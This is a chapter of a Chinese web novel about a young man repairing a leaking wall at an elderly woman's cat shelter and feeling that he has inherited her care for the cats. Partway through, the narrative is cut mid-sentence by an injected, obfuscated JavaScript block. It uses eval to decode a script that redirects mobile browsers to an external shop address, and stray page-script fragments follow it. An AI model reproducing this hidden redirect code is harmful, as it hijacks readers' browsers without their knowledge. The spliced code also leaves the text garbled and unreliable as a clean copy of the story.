文趣网 > 都市小说 > 当我能听懂动物心声 > 58.第 58 章
    暴雨过后的第五天,翟尤又去了基地。不是金奶奶叫他去的,是他自己去的。因为他知道,那场暴雨暴露出来的不只是屋顶的漏点,还有更多的东西。那些东西平时看不见,摸不着,不会在你站在院子里晒太阳的时候突然跳出来告诉你——“我在这里,我需要修。”它们只在暴雨来的时候,在雨水从裂缝里钻进来的时候,在水滴落在猫的毛上、猫害怕地叫的时候,才会被看见。看见了,就不能装作没看见。看见了,就要修。修好了,才能在下一次暴雨来的时候,不让猫害怕。

    金奶奶站在院子里,手里拿着扫帚,在扫地上的积水。她的动作很慢,因为她的背很驼,她的手在抖,她的眼睛花了。但她扫得很仔细,每一滩水都要扫好几遍,扫到地面干了,才换下一个地方。她看到翟尤进来,没有说“你怎么来了”,没有说“你不用每天都来”,没有说“我一个人能行”。她只是把扫帚递给他,说了一句——“你去看看西边的墙。那面墙好像也有点问题了。”

    翟尤接过扫帚,走到西边的墙。墙是砖砌的,很老了,砖缝里的水泥已经风化了很多,用手指一抠就能抠下来一块。墙的表面有很多细小的裂缝,不是那种一眼就能看到的裂缝,而是那种要凑很近、眯着眼、用手指顺着砖缝摸过去才能感觉到的裂缝。那些裂缝很小,小到平时不会有人注意,但暴雨来的时候,雨水会从那些裂缝里渗进去,渗到墙的另一面,渗到猫的笼子旁边,渗到那些猫睡觉的毛巾上。猫不喜欢湿,湿了会冷,冷了会生病,生病了会死。他不能让它们死,所以他要把那些裂缝堵住。

    翟尤去仓库找了水泥和沙子,兑了水,搅成泥浆,端到西边的墙前面。他蹲下来,用手指蘸了泥浆,一点一点地抹进那些裂缝里。裂缝很小,泥浆很难抹进去,抹进去了也很难抹平,抹平了也很难干。他做得很慢,因为他知道,快没用。快了会漏,漏了还要重来。重来浪费时间,浪费水泥,浪费他本可以去做别的事的力气。他不想浪费,所以他慢。慢到每一道裂缝都被泥浆填满,被手指抹平,被阳光晒干。干了的泥浆是灰色的,比原来的砖的颜色深一点,像一道一道的疤痕,趴在墙上。那些疤痕在告诉那些猫——这里修过了,不会再漏水了。你们可以安心睡了。

    金奶奶走过来,站在翟尤旁边,看着那些被他抹平的裂缝。她看了很久,然后说了一句话。那句话很轻,很淡,像是随口说出来的,但翟尤知道它不是随口说的。它是在她心里放了很久、终于找到了一个合适的机会说出来的那种话。

    “你比我细心。我老了,眼睛花了,看不到这些裂缝了。它们在我眼皮底下裂了这么多年,我都没发现。你来了,你发现了,你修了。这些猫以后不会再被水淋了。谢谢你。”

    翟尤的眼泪掉了下来。不是那种无声的、克制的、怕被人看到的哭,而是那种痛快的、不管不顾的、像是一个人在黑暗中走了很久、终于看到了光、光太亮了、刺得眼睛疼、疼得眼泪自己往下掉的哭。他哭金奶奶说她老了、眼睛花了、看不到那些裂缝了。她不想老,不想花,不想看不到。但她老了,花了,看不到了。她不想承认,但她不得不承认。承认了,才能把那些她看不到的东西交给能看到的人。那个人是翟尤,他看到了,他修了,他会在她看不到的时候,替她看,替她修,替她在那些裂缝还没变成漏点之前,把泥浆抹进去,把疤痕留在墙上,把安心留给那些猫。

    翟尤抹完了最后一道裂缝,站起来,把剩下的泥浆端回仓库,把桶洗干净,放回原位。他走出来,站在院子里,看着那面被他修过的墙。灰色的疤痕在阳光下闪着光,像一道一道的勋章。那些勋章在告诉金奶奶——你做到了。你撑了二十年,撑到了有人来接替你的这一天。他来了,他看到了,他修了。他会继续修,在你老了、花了、看不到的时候,替你看着这面墙,看着那些裂缝,看着那些猫。他会在每一场暴雨来之前,检查每一个漏点,抹平每一道裂缝,堵住每一个可能让水钻进来的洞。他会做这些,不是因为他比你细心,而是因为他是你选的人。你选了他,在他还不知道的时候,在你还没有开口的时候,在你只是看着他在暴风雪中走了很远的路、摔了三次、把大黄塞进衣服里、用胸口暖它的时候,你就选了他。他不知道自己被选了,但他做了他该做的事。做了,就是接了。接了,就会做下去。做到你做不动的那一天,做到他做不动的那一天,做到下一个被选的人来接替他的那一天。

    那天晚上,翟尤回到诊所,躺在床上,安安在他枕头旁边打呼噜,小黑蜷在他脚边,小雪在笼子里翻了个身。三个呼吸声,三种不同的频率,交织在一起,像一首没有旋律的三重奏。他在那首三重奏里,想着那面被他修过的墙。灰色的疤痕在阳光下闪着光,像一道一道的勋章。那些勋章不会说话,不会动,不会在任何人面前炫耀自己。它们只是在那里,在墙上,在砖缝里,在那些被泥浆填满的裂缝中,安静地、沉默地、不打扰地,证明着一件事——这里有人来过,有人蹲下来,用手指蘸了泥浆,一点一点地抹进那些裂缝里。他做得很慢,很仔细,像在做一件很重要的事。他做了,因为那些猫需要一面不漏水的墙。它们需要在暴雨来的时候,不被水淋,不害怕,不生病,不死。他给了它们那面墙,不是因为他多厉害,而是因为他是翟尤。是那个蹲在街角、把手伸出来、把火腿肠放在手心里的人。是那个在暴风雪中走了很远的路、摔了三次、把一只快二十岁的老猫塞进衣服里、用胸口暖它的人。是那个在暴雨中爬上屋顶、用塑料布、胶带、铁丝、把那些裂缝堵住、不让水淋到猫身上的人。他是这样的人,一直都是,以后也是。

    翟尤在黑暗中睁开眼睛,看着天花板上的水渍。那

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618772|203008||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    只“猫”还在,形状没变,还是摊开的样子。他看着它,觉得它在看他。不是那种被动的、无生命的、只是恰好朝向他的方向的“看”,而是一种主动的、有意识的、带着某种审视和确认意味的注视。好像那只水渍画出来的猫,在问他一个问题——“你修好了最后一处漏点。你现在是什么感觉?”

    翟尤想了想这个问题,在心里回答了一个词。不是“累”,不是“如释重负”,不是“终于做完了”。那个词是——“稳。”稳定的“稳”。墙稳了,不会漏水了。猫稳了,不会害怕了。金奶奶稳了,不用担心暴雨了。他稳了,因为他知道,他做了他能做的,修了他能修的,堵了他能堵的。下次暴雨来的时候,水不会从那些裂缝里钻进来,不会滴在猫的毛上,不会让猫害怕地叫。它们会在笼子里,在干爽的毛巾上,在暖水袋旁边,在呼噜声里,安静地、安稳地、安心地,度过那个夜晚。他在诊所里,在折叠床上,在安安的呼噜声里,也会是安稳的。因为他知道,他做到了。他做到了他能做的一切,为了那些猫,为了金奶奶,为了他自己。他做到了,所以他稳了。稳了,就能睡着了。

    翟尤闭上眼睛,在那个“稳”字里,沉入了睡眠。梦到了很多东西,但醒来之后什么都不记得了。只记得一个画面——那面被修过的墙,灰色的疤痕在阳光下闪着光,像一道一道的勋章。那些勋章在告诉他——你做得对。你走的路,是对的。你修的墙,是对的。你抹进裂缝里的泥浆,是对的。你接过的那些从金奶奶手里洒落的猫粮,是对的。你接过的她做了二十年的事,是对的。你会继续做下去,做得跟她一样好,甚至更好。因为你是她选的人,你是她的接班人,你是她的墙。她的墙老了,裂缝了,漏水了。你来修了,抹了泥浆,堵了裂缝,让它变稳了。它会一直稳下去,在你修过之后,在暴雨再来的时候,在那些猫在它下面睡觉的时候,稳着。

    翟尤在梦里笑了。不是苦笑,不是自嘲,而是一种从心底里涌上来的、温暖的、像阳光一样的笑。因为他知道,那面墙会一直站在那里。在他活着的时候,在他老了的时候,在他不在了的时候,它都会站在那里。它会看着这个基地的变化,看着那些猫一年一年地老去、新的一代一代地出生,看着金奶奶的背越来越驼、步子越来越小、声音越来越沙哑,看着翟尤的头发从黑变白、从白变少、从少变没。它会看着,因为它在那里。它是他的眼睛,在他看不到的时候,替他看着。它是他的嘴,在他说不出话的时候,替他说——“这里有人来过。有人蹲下来,用手指蘸了泥浆,一点一点地抹进那些裂缝里。他做得很慢,很仔细,像在做一件很重要的事。他做了,因为那些猫需要一面不漏水的墙。它们需要,所以他做。他做了,所以它们有了。它们有了,所以它们不怕了。它们不怕了,所以它们活了。它们活了,所以他在了。”